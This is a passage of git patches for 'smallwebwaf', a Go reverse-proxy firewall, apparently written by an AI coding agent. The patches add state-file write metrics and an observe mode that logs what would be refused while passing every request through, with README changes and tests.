Country: "FR", LookedUp: start.Add(3 * time.Minute), - Requests: 6, + Requests: 7, Forwarded: 4, Refused: 2, RequestBytes: 15, ResponseBytes: 122, Responses: ratelimit.Responses{ - Status1xx: 1, Status2xx: 1, Status3xx: 1, Status4xx: 1, Status5xx: 1, + Status1xx: 1, Status2xx: 1, Status3xx: 1, Status4xx: 2, Status5xx: 1, }, Offences: ratelimit.Offences{Limit: 1}, } diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 63496b9..2220c46 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -71,7 +71,9 @@ type History struct { Country string `json:"country,omitempty"` LookedUp time.Time `json:"looked_up,omitzero"` // Requests are all the client's requests: Forwarded those passed to - // the app, Refused those refused before anything reached it. + // the app, Refused those refused before anything reached it, a 401 at + // smallwebwaf's own endpoints included, and neither the others + // smallwebwaf answered there. Requests int64 `json:"requests"` Forwarded int64 `json:"forwarded"` Refused int64 `json:"refused"` @@ -103,9 +105,12 @@ type Offences struct { type Request struct { // Country is the client's country, when the request looked it up. Country string - // Forwarded is true for a request passed to the app, false for one - // refused before anything reached it. + // Forwarded is true for a request passed to the app, Refused for one + // refused before anything reached it, a 401 at smallwebwaf's own + // endpoints included. Both are false for any other request smallwebwaf + // answered there. Forwarded bool + Refused bool // Status is what the client was sent, 0 if nothing was. Status int // RequestBytes and ResponseBytes are the body bytes of the request @@ -199,7 +204,9 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { h.Requests++ if r.Forwarded { h.Forwarded++ - } else { + } + + if r.Refused { h.Refused++ } @@ -235,6 +242,14 @@ func (l *Limiter) Requests(netblock netip.Prefix) int64 { return requests } +// Len returns how many clients are in the table. +func (l *Limiter) Len() int { + l.mu.Lock() + defer l.mu.Unlock() + + return l.clients.Len() +} + // Snapshot returns every client in the table, sorted by address, as // clients.json lists them. func (l *Limiter) Snapshot() []Client { diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index 8be2729..0fe29e0 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -89,6 +89,7 @@ func Run(ctx context.Context, params Params) int { GeoJS: server.GeoJS, Now: now, ProcessLog: processLog, + Metrics: server.Metrics, }) if err != nil { processLog.Error("cannot use the state files", "error", err.Error()) diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index a944172..f0ddb88 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -121,6 +121,28 @@ func TestInvalidSettingStopsTheStart(t *testing.T) { } } +func TestShortMetricsTokenStopsTheStartUnshown(t *testing.T) { + t.Parallel() + + const token = "a-token-of-31-characters-at-all" //nolint:gosec // too short to use + + out := &output{} + + status := run(t.Context(), map[string]string{"SWWAF_METRICS_TOKEN": token}, out) + if status != 1 { + t.Errorf("exit status %d, want 1", status) + } + + line := out.line(t, "msg", "invalid setting") + if line["error"] != "SWWAF_METRICS_TOKEN: is shorter than 32 characters" { + t.Errorf("start refused with %v", line) + } + + if strings.Contains(out.text(), token) { + t.Errorf("the output shows the token:\n%s", out.text()) + } +} + func TestAddressInUseStopsTheStart(t *testing.T) { t.Parallel() diff --git a/internal/state/state.go b/internal/state/state.go index 5be31c4..f0d40dc 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -21,6 +21,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/metrics" "sneak.berlin/go/smallwebwaf/internal/ratelimit" ) @@ -62,6 +63,8 @@ type Params struct { Now func() time.Time // ProcessLog receives what was read, and the writes that fail. ProcessLog *slog.Logger + // Metrics count each file's writes. + Metrics *metrics.Metrics } // Files are the state files of a running smallwebwaf. @@ -204,7 +207,7 @@ func (f *Files) writeBans() error { return fmt.Errorf("encode %s: %w", bansJSON, err) } - return write(f.params.Dir, bansJSON, append(data, '\n')) + return f.writeCounted(bansJSON, append(data, '\n')) } // writeClients writes clients.json. @@ -214,7 +217,7 @@ func (f *Files) writeClients() error { return fmt.Errorf("encode %s: %w", clientsJSON, err) } - return write(f.params.Dir, clientsJSON, data) + return f.writeCounted(clientsJSON, data) } // writeLookups writes lookups.json. @@ -224,7 +227,16 @@ func (f *Files) writeLookups() error { return fmt.Errorf("encode %s: %w", lookupsJSON, err) } - return write(f.params.Dir, lookupsJSON, data) + return f.writeCounted(lookupsJSON, data) +} + +// writeCounted writes data to the state file name, as write does, and +// counts the write in the metrics. +func (f *Files) writeCounted(name string, data []byte) error { + err := write(f.params.Dir, name, data) + f.params.Metrics.StateFileWritten(name, len(data), err) + + return err } // newBanEntry returns ban as bans.json holds it. diff --git a/internal/state/state_test.go b/internal/state/state_test.go index dfab4e9..7306687 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -4,10 +4,13 @@ import ( "context" "encoding/json" "log/slog" + "net/http" + "net/http/httptest" "net/netip" "os" "path/filepath" "slices" + "strconv" "strings" "testing" "testing/synctest" @@ -15,6 +18,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/metrics" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/state" ) @@ -402,6 +406,59 @@ func TestFailedWriteLeavesTheFileAsItWas(t *testing.T) { } } +func TestWritesAreCountedInTheMetrics(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + params.Ledger.Load([]bans.Ban{permanentBan()}) + files := load(t, params) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + const ( + ofBans = `{file="bans.json"}` + ofClients = `{file="clients.json"}` + ) + + got := scrape(t, params) + wantMetric(t, got, "smallwebwaf_state_file_writes_total"+ofBans, 1) + wantMetric(t, got, "smallwebwaf_state_file_writes_total"+ofClients, 1) + wantMetric(t, got, "smallwebwaf_state_file_write_failures_total"+ofBans, 0) + wantMetric(t, got, "smallwebwaf_state_file_size_bytes"+ofBans, + float64(len(permanentBansJSON))) + + written := metric(t, got, "smallwebwaf_state_file_last_write_timestamp_seconds"+ofBans) + if written < float64(time.Now().Add(-time.Hour).Unix()) { + t.Errorf("bans.json was last written at %v, not by that write", written) + } + + // A directory in the way of bans.json's temporary file fails its next + // write, which leaves its size as it was, although it has a ban more. + err = os.Mkdir(filepath.Join(dir, bansJSON+".tmp"), 0o700) + if err != nil { + t.Fatalf("mkdir: %v", err) + } + + params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), + bans.Notes{}) + + err = files.WriteAll() + if err == nil { + t.Fatal("the write did not fail") + } + + got = scrape(t, params) + wantMetric(t, got, "smallwebwaf_state_file_writes_total"+ofBans, 2) + wantMetric(t, got, "smallwebwaf_state_file_write_failures_total"+ofBans, 1) + wantMetric(t, got, "smallwebwaf_state_file_write_failures_total"+ofClients, 0) + wantMetric(t, got, "smallwebwaf_state_file_size_bytes"+ofBans, + float64(len(permanentBansJSON))) +} + func TestFailedRenameLeavesNoTemporaryFile(t *testing.T) { t.Parallel() @@ -431,6 +488,7 @@ func midnight() time.Time { // hold nothing yet. GeoJS is never asked. func newParams(dir string) state.Params { discard := slog.New(slog.DiscardHandler) + m := metrics.New(1) return state.Params{ Dir: dir, @@ -442,10 +500,13 @@ func newParams(dir string) state.Params { MaxBanDuration: 7 * 24 * time.Hour, MaxBans: 5000, }), - Limiter: ratelimit.New(ratelimit.Limits{}), - GeoJS: lookup.New(lookup.Params{Now: midnight, ProcessLog: discard}), + Limiter: ratelimit.New(ratelimit.Limits{}), + GeoJS: lookup.New(lookup.Params{ + Now: midnight, ProcessLog: discard, Metrics: m, + }), Now: midnight, ProcessLog: discard, + Metrics: m, } } @@ -633,3 +694,54 @@ func wantEntries(t *testing.T, path, key string, want ...string) { } } } + +// scrape returns the metrics of params, in the Prometheus text format. +func scrape(t *testing.T, params state.Params) string { + t.Helper() + + recorder := httptest.NewRecorder() + params.Metrics.ServeHTTP(recorder, + httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)) + + if recorder.Code != http.StatusOK { + t.Fatalf("the metrics were answered %d", recorder.Code) + } + + return recorder.Body.String() +} + +// metric returns the value of series in text, the metrics, such as +// smallwebwaf_state_file_writes_total{file="bans.json"}, or fails the test +// if there is no such series. +func metric(t *testing.T, text, series string) float64 { + t.Helper() + + for line := range strings.Lines(text) { + value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ") + if !found { + continue + } + + number, err := strconv.ParseFloat(value, 64) + if err != nil { + t.Fatalf("%s has the value %q", series, value) + } + + return number + } + + t.Fatalf("no series %s in the metrics:\n%s", series, text) + + return 0 +} + +// wantMetric checks the value of series in text, the metrics, as metric +// reads it. +func wantMetric(t *testing.T, text, series string, want float64) { + t.Helper() + + got := metric(t, text, series) + if got != want { + t.Errorf("%s is %v, want %v", series, got, want) + } +} From cff385af4111cfd4deb27acb244d2f2a56abbf5e Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 13:04:43 +0200 Subject: [PATCH 22/64] Observe mode: log what would be refused, refuse nothing (closes #78) SWWAF_MODE (default enforce) takes enforce or observe. In observe mode a request that SWWAF_DENY_NETS, a ban, the country lists or a rate limit would refuse is passed to the app, and its log line names that refusal in would_action. The size and time limits and the 401 still apply. A broken limit makes no ban; bans read from bans.json are kept but refuse nothing, and Ledger.Find reads them without counting a refusal in their notes. Judgement call: in observe mode a broken limit does not reset the client's counters, since the reset comes with the ban. Judgement call: a request a ban would refuse keeps ban_expires. Model: opus-5-5 --- README.md | 85 ++++++---- internal/bans/bans.go | 69 +++++--- internal/bans/bans_test.go | 22 +++ internal/config/config.go | 18 ++ internal/config/config_test.go | 7 + internal/proxy/bans.go | 26 ++- internal/proxy/observe_test.go | 202 +++++++++++++++++++++++ internal/proxy/proxy_test.go | 1 + internal/proxy/request.go | 78 +++++---- internal/requestlog/requestlog.go | 4 + internal/smallwebwaf/smallwebwaf_test.go | 1 + 11 files changed, 425 insertions(+), 88 deletions(-) create mode 100644 internal/proxy/observe_test.go diff --git a/README.md b/README.md index 0c020a0..2a44452 100644 --- a/README.md +++ b/README.md @@ -13,17 +13,19 @@ JSON log line for every request. Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and -https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are five parts of +https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are six parts of milestone 3: the static lists, the bans that broken rate limits lead to and the -JSON state files, which come next in the build order, and the metrics endpoint -and the header size and the idle time as settings, which come last in it. -`smallwebwaf` passes each request to the app and the app's answer back, -unchanged, within its timeouts and size limits, works out each client's address, -bans a client that sends too many requests, refuses a client that comes from a -country you refuse or from a network you refuse, lets the networks you choose -through, keeps its bans, each client's counters and history, and GeoJS's answers -in JSON files across restarts, writes a JSON log line for every request, and -serves Prometheus metrics to a scraper that holds the metrics token. It comes as +JSON state files, which come next in the build order, `observe` mode, which +comes a little later, and the metrics endpoint and the header size and the idle +time as settings, which come last in it. `smallwebwaf` passes each request to +the app and the app's answer back, unchanged, within its timeouts and size +limits, works out each client's address, bans a client that sends too many +requests, refuses a client that comes from a country you refuse or from a +network you refuse, lets the networks you choose through, keeps its bans, each +client's counters and history, and GeoJS's answers in JSON files across +restarts, writes a JSON log line for every request, serves Prometheus metrics to +a scraper that holds the metrics token, and in `observe` mode passes on the +requests it would refuse, logging what it would have done with them. It comes as the image the app's own image is built on. The rest of the design comes after that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). @@ -118,6 +120,18 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set. `SWWAF_ALLOW_NETS` too is let through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate limits; the country lists and bans still apply to it. +- In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests + that `SWWAF_DENY_NETS`, a ban, the country lists or a rate limit would refuse: + it passes them to the app, and their log lines name what `enforce` mode would + have done (see `would_action` in "Request log" below). The checks run, and + requests are counted, as in `enforce` mode, but a broken rate limit makes no + ban and does not set the client's counters back to zero, so each request over + the limit is logged as one that would be refused. The bans in `bans.json` are + kept, and refuse requests again when `smallwebwaf` next runs in `enforce` + mode, as long as they last. The timeouts and size limits still apply, since + they protect `smallwebwaf` and the app themselves, and a request for the + metrics without the token is still answered `401`. It is for trying a + configuration before enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for @@ -139,6 +153,9 @@ it, and the effective settings are logged at start. - `SWWAF_LISTEN_ADDR` (default `:8080`): where `smallwebwaf` listens. - `SWWAF_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app, as `http` or `https`, a host and an optional port, and nothing more. +- `SWWAF_MODE` (default `enforce`): `enforce`, or `observe` to pass on the + requests `smallwebwaf` would refuse and log what it would have done (see "What + it does so far" above). - `SWWAF_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`, the private address ranges): the netblocks whose `X-Forwarded-For` is believed. A list given replaces the default; set but empty, it trusts nothing. @@ -240,8 +257,8 @@ refused ones included: - `country` is the client's country as GeoJS places it. It is empty with neither country list set, for a client in `SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`, for a client on a private, loopback or link-local address, when GeoJS cannot place - the client or has not answered in time, and for a request refused because a - ban covers its client, even when the client's country is known. + the client or has not answered in time, and for a request whose client a ban + covers, even when the client's country is known. - `status` is what the client was sent, `0` if nothing was; `upstream_status` is what the app answered, and is left out when the app did not answer. - `request_bytes` and `response_bytes` count body bytes. @@ -253,11 +270,18 @@ refused ones included: `timed_out` for one that ran out of time, `upstream_error` when the app could not be reached or its answer broke off, and `admin` for one `smallwebwaf` answered at its own endpoint. +- `would_action` is there in `observe` mode for a request that + `SWWAF_DENY_NETS`, a ban, the country lists or a rate limit would have refused + in `enforce` mode, and names the action that refusal would have had: `denied`, + `banned`, `country_denied` or `rate_limited`. `action` then names what was + done: `forward` for a request passed to the app, and another action, such as + `too_large`, for one a size or time limit refused. - `limit_hit` is there for a request that broke a rate limit, and names the window whose limit it went over: `minute`, `hour` or `day`, the shortest if it went over several. `offence` is then `limit`. - `ban_expires` is there for a request that made a ban or was refused under one, - and gives when the ban ends, in the same form as `time`, or `permanent`. + or in `observe` mode would have been refused under one, and gives when the ban + ends, in the same form as `time`, or `permanent`. - `aborted` is there, and true, when the client went away early. - `duration_total` and `duration_upstream_total` are in milliseconds. @@ -581,17 +605,16 @@ the metrics, failure behaviour and the build order. So far `smallwebwaf` looks up only the country, only through GeoJS, and only while `SWWAF_DENIED_COUNTRIES` or `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set: then the address of every new visitor is sent to GeoJS, except a visitor in -`SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS` and one refused because a ban covers its -netblock, and with neither set, none is. An IPv6 visitor is asked about by the -first address of its /64. A new visitor waits at most a second for its answer, -and without one counts as coming from an unknown country until the answer -arrives. The addresses waiting are asked about together, up to 200 in one -request, one request at a time; at most 10,000 visitors wait, and one more -counts as coming from an unknown country until there is room. While GeoJS fails, -visitors with a kept answer are unaffected and new ones count as coming from an -unknown country. GeoJS is then left alone for a second, twice as long after each -further failure up to five minutes, and asked again by the next request that -needs it. +`SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS` and one whose netblock a ban covers, and +with neither set, none is. An IPv6 visitor is asked about by the first address +of its /64. A new visitor waits at most a second for its answer, and without one +counts as coming from an unknown country until the answer arrives. The addresses +waiting are asked about together, up to 200 in one request, one request at a +time; at most 10,000 visitors wait, and one more counts as coming from an +unknown country until there is room. While GeoJS fails, visitors with a kept +answer are unaffected and new ones count as coming from an unknown country. +GeoJS is then left alone for a second, twice as long after each further failure +up to five minutes, and asked again by the next request that needs it. In the full design, `smallwebwaf` looks up the AS number and country of every client, for the request log, the metrics and the ban notes, and for the country @@ -643,8 +666,10 @@ addresses are never sent to GeoJS. limits, and writes the request's log line. Its `check` method is where a request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for a ban, for the country lists, for a rate limit, which bans the client, and for - an announced body over the size limit. A request under `/_smallwebwaf/` that - `check` lets through is answered by `answerAdmin` instead of reaching the app. + an announced body over the size limit; in `observe` mode, only for the size + limit, with what it would have refused for noted in the log line. A request + under `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin` + instead of reaching the app. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -710,10 +735,10 @@ so that they run in minimal containers. ## TODO -- The rest of milestone 3, from taking in an admin's edits to the state files - (https://git.eeqj.de/sneak/smallwebwaf/issues/68) up to the rest of the - request log's fields, and the rest of the design, in the order of the build - order in [`SPEC.md`](SPEC.md). +- The rest of milestone 3: taking in an admin's edits to the state files + (https://git.eeqj.de/sneak/smallwebwaf/issues/68), exemptions and the rest of + the request log's fields; then the rest of the design, in the order of the + build order in [`SPEC.md`](SPEC.md). ## Documents diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 817131f..68ee022 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -107,8 +107,8 @@ type Ledger struct { changed chan struct{} mu sync.Mutex - // netblocks holds each banned netblock's bans, oldest first. Check - // makes each netblock it finds the most recently seen. + // netblocks holds each banned netblock's bans, oldest first. Check and + // Find make each netblock they find the most recently seen. netblocks *simplelru.LRU[netip.Prefix, *[]Ban] // held is how many bans netblocks holds, at most rules.MaxBans. held int @@ -144,36 +144,36 @@ func (l *Ledger) Changed() <-chan struct{} { return l.changed } -// Check is called for each request from client, at now. It reports -// whether a ban on a netblock client is in is active, and returns that -// ban, with the request counted among those it refused. +// Check is called for a request from client, at now. It reports whether +// a ban on a netblock client is in is active, and returns that ban, with +// the request counted among those it refused. func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool) { l.mu.Lock() defer l.mu.Unlock() - lengths := l.v6Lengths - if client.Is4() { - lengths = l.v4Lengths + ban := l.active(client, now) + if ban == nil { + return Ban{}, false } - for _, length := range lengths { - bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked()) - if !found { - continue - } + ban.Notes.Requests++ + ban.Notes.Refused++ - // A ban is made only once the one before has ended, so only the - // last can be active. - last := &(*bans)[len(*bans)-1] - if last.ActiveAt(now) { - last.Notes.Requests++ - last.Notes.Refused++ + return *ban, true +} - return *last, true - } +// Find is Check without counting the request among those the ban +// refused: in observe mode a ban refuses nothing. +func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool) { + l.mu.Lock() + defer l.mu.Unlock() + + ban := l.active(client, now) + if ban == nil { + return Ban{}, false } - return Ban{}, false + return *ban, true } // BanForLimit bans netblock at now for a broken limit, with notes, and @@ -304,6 +304,31 @@ func (l *Ledger) Load(bans []Ban) { } } +// active returns the ban active at now on a netblock client is in, or +// nil. +func (l *Ledger) active(client netip.Addr, now time.Time) *Ban { + lengths := l.v6Lengths + if client.Is4() { + lengths = l.v4Lengths + } + + for _, length := range lengths { + bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked()) + if !found { + continue + } + + // A ban is made only once the one before has ended, so only the + // last can be active. + last := &(*bans)[len(*bans)-1] + if last.ActiveAt(now) { + return last + } + } + + return nil +} + // add adds ban to its netblock's bans, after the last, and makes its // netblock the most recently seen. With MaxBans held, it drops one first. func (l *Ledger) add(ban Ban) { diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index 897bc3b..0bf38f1 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -162,6 +162,28 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) { } } +func TestFindCountsNothing(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) + + got, banned := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) + if !banned || got != ban { + t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban) + } + + _, banned = ledger.Find(netblock.Addr(), ban.Expires) + if banned { + t.Error("the ban did not end") + } + + if notes := ledger.Bans(netblock)[0].Notes; notes != ban.Notes { + t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes) + } +} + func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { t.Parallel() diff --git a/internal/config/config.go b/internal/config/config.go index 65281c1..9a63fa5 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -27,6 +27,11 @@ type Config struct { ListenAddr string // UpstreamURL is the app (SWWAF_UPSTREAM_URL). UpstreamURL *url.URL + // Observe is true in observe mode, when SWWAF_MODE is observe rather + // than enforce: a request that SWWAF_DENY_NETS, a ban, the country + // lists or a rate limit would refuse is passed to the app instead, and + // no ban is made. + Observe bool // TrustedProxies are the netblocks whose X-Forwarded-For is // believed (SWWAF_TRUSTED_PROXIES). TrustedProxies []netip.Prefix @@ -162,6 +167,7 @@ var ( errNotAbsolutePath = errors.New( "is not an absolute path, such as /var/lib/smallwebwaf") errShortToken = errors.New("is shorter than 32 characters") + errNotMode = errors.New("is not enforce or observe") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -172,6 +178,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { cfg := &Config{ ListenAddr: env.address("SWWAF_LISTEN_ADDR", ":8080"), UpstreamURL: env.appURL("SWWAF_UPSTREAM_URL", "http://127.0.0.1:8081"), + Observe: env.observe("SWWAF_MODE", "enforce"), TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges), ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"), ClientRequestHeaderMaxBytes: env.headerSize( @@ -274,6 +281,17 @@ func (e *environment) appURL(name, defaultValue string) *url.URL { return upstream } +// observe reads the setting that is the mode, enforce or observe, and +// reports whether it is observe. +func (e *environment) observe(name, defaultValue string) bool { + mode := e.value(name, defaultValue) + if mode != "enforce" && mode != "observe" { + e.check(name, fmt.Errorf("%q %w", mode, errNotMode)) + } + + return mode == "observe" +} + // netblocks reads a setting that is a list of netblocks. func (e *environment) netblocks(name, defaultValue string) []netip.Prefix { netblocks, err := parseNetblocks(e.value(name, defaultValue)) diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 955ff70..100229c 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -18,6 +18,7 @@ import ( const ( listenAddr = "SWWAF_LISTEN_ADDR" upstreamURL = "SWWAF_UPSTREAM_URL" + mode = "SWWAF_MODE" trustedProxies = "SWWAF_TRUSTED_PROXIES" clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT" clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES" @@ -83,6 +84,7 @@ func TestDefaults(t *testing.T) { wantSettings(t, cfg, config.Config{ ListenAddr: ":8080", + Observe: false, ClientRequestTimeout: time.Minute, ClientRequestHeaderMaxBytes: 32 << 10, ClientIdleTimeout: 2 * time.Minute, @@ -126,6 +128,7 @@ func TestValuesAsSet(t *testing.T) { cfg := fromEnvironment(t, environment{ listenAddr: "127.0.0.1:9000", upstreamURL: "https://app.internal:8443/", + mode: "observe", trustedProxies: " 192.0.2.1, 10.1.2.3/8 ,2001:db8::/32", clientRequestTimeout: "90s", clientHeaderMaxBytes: "8K", @@ -158,6 +161,7 @@ func TestValuesAsSet(t *testing.T) { wantSettings(t, cfg, config.Config{ ListenAddr: "127.0.0.1:9000", + Observe: true, ClientRequestTimeout: 90 * time.Second, ClientRequestHeaderMaxBytes: 8 << 10, ClientIdleTimeout: 5 * time.Minute, @@ -307,6 +311,7 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {upstreamURL, "http://127.0.0.1:8081/app"}, {upstreamURL, "http://127.0.0.1:8081/?a=1"}, {upstreamURL, "http://user:secret@127.0.0.1:8081"}, + {mode, "Observe"}, {mode, "block"}, {mode, ""}, {trustedProxies, "10.0.0.0/33"}, {trustedProxies, "traefik"}, {trustedProxies, "10.0.0.0/8,,192.168.0.0/16"}, @@ -426,6 +431,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { want := map[string]string{ listenAddr: ":8080", upstreamURL: "http://127.0.0.1:8081", + mode: "enforce", trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", clientRequestTimeout: "45s", clientHeaderMaxBytes: "32K", @@ -465,6 +471,7 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { t.Helper() if got.ListenAddr != want.ListenAddr || + got.Observe != want.Observe || got.ClientRequestTimeout != want.ClientRequestTimeout || got.ClientRequestHeaderMaxBytes != want.ClientRequestHeaderMaxBytes || got.ClientIdleTimeout != want.ClientIdleTimeout || diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index 596f6dc..df8de16 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -14,10 +14,15 @@ func (rq *request) banResponse(action string) *refusal { return &refusal{status: rq.h.config.BanResponse, action: action} } -// banned reports whether a ban on a netblock the client is in refuses -// the request at now, and notes for the log line when that ban ends. +// banned reports whether a ban on a netblock the client is in covers the +// request at now, and notes for the log line when that ban ends. func (rq *request) banned(now time.Time) bool { - ban, banned := rq.h.ledger.Check(rq.client, now) + check := rq.h.ledger.Check + if rq.h.config.Observe { + check = rq.h.ledger.Find // in observe mode the ban refuses nothing + } + + ban, banned := check(rq.client, now) if banned { rq.line.BanExpires = banExpires(ban) } @@ -26,8 +31,9 @@ func (rq *request) banned(now time.Time) bool { } // limitBroken counts the request for the rate limits at now, and reports -// whether it takes the client over one. Such a request bans the client's -// netblock, and sets the client's counters back to zero. +// whether it takes the client over one. In enforce mode such a request +// bans the client's netblock, and sets the client's counters back to +// zero; in observe mode it does neither. func (rq *request) limitBroken(now time.Time) bool { group := clientGroup(rq.client) @@ -36,6 +42,13 @@ func (rq *request) limitBroken(now time.Time) bool { return false } + rq.line.LimitHit = hit.Window + rq.line.Offence = requestlog.OffenceLimit + + if rq.h.config.Observe { + return true + } + netblock := rq.netblock() ban := rq.h.ledger.BanForLimit(netblock, now, bans.Notes{ Country: rq.line.Country, @@ -54,9 +67,6 @@ func (rq *request) limitBroken(now time.Time) bool { Requests: rq.h.limiter.Requests(netblock) + 1, }) rq.h.limiter.Reset(group) - - rq.line.LimitHit = hit.Window - rq.line.Offence = requestlog.OffenceLimit rq.line.BanExpires = banExpires(ban) return true diff --git a/internal/proxy/observe_test.go b/internal/proxy/observe_test.go new file mode 100644 index 0000000..7a87b7b --- /dev/null +++ b/internal/proxy/observe_test.go @@ -0,0 +1,202 @@ +package proxy_test + +import ( + "bytes" + "io" + "net/http" + "net/netip" + "sync/atomic" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// observe is the value of SWWAF_MODE for observe mode. +const observe = "observe" + +func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) { + t.Parallel() + + const ( + denied = "192.0.2.50" // in SWWAF_DENY_NETS + banned = otherClient // under a ban read from bans.json + ) + + for _, tc := range []struct { + setting string // "" leaves SWWAF_MODE at its default + observe bool + }{ + {"", false}, + {"enforce", false}, + {observe, true}, + } { + t.Run(mode+"="+tc.setting, func(t *testing.T) { + t.Parallel() + + geojsURL, _ := startGeoJS(t) + env := map[string]string{ + rateLimitPerMinute: "1", + denyNets: denied, + deniedCountries: "kp", + } + + if tc.setting != "" { + env[mode] = tc.setting + } + + s, clk, server := startWithClock(t, geojsURL, env) + server.Ledger.Load([]bans.Ban{{ + Netblock: netip.MustParsePrefix(banned + "/32"), + Start: clk.Now(), + Expires: clk.Now().Add(time.Hour), + }}) + + // fromDE's first request is within the limit of one a minute, + // and its second breaks it. + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + + for _, sent := range []struct{ from, refusal string }{ + {denied, requestlog.ActionDenied}, + {banned, requestlog.ActionBanned}, + {fromKP, requestlog.ActionCountryDenied}, + {fromDE, requestlog.ActionRateLimited}, + } { + if !tc.observe { + line := s.get(sent.from, http.StatusForbidden, sent.refusal) + wantWouldAction(t, line, "") + + continue + } + + // Passed to the app, which answered it. + line := s.get(sent.from, http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, sent.refusal) + + if line.UpstreamStatus != http.StatusOK { + t.Errorf("log line has upstream_status %d, want 200", + line.UpstreamStatus) + } + } + }) + } +} + +func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) { + t.Parallel() + + s, clk, server := startWithClock(t, "", map[string]string{ + mode: observe, + rateLimitPerMinute: "1", + }) + kept := bans.Ban{ + Netblock: netip.MustParsePrefix(otherClient + "/32"), + Start: clk.Now(), + Expires: clk.Now().Add(time.Hour), + } + server.Ledger.Load([]bans.Ban{kept}) + + // No ban sets client's counters back to zero, so each request after + // the first breaks the limit of one a minute. + s.get(client, http.StatusOK, requestlog.ActionForward) + + for range 2 { + line := s.get(client, http.StatusOK, requestlog.ActionForward) + 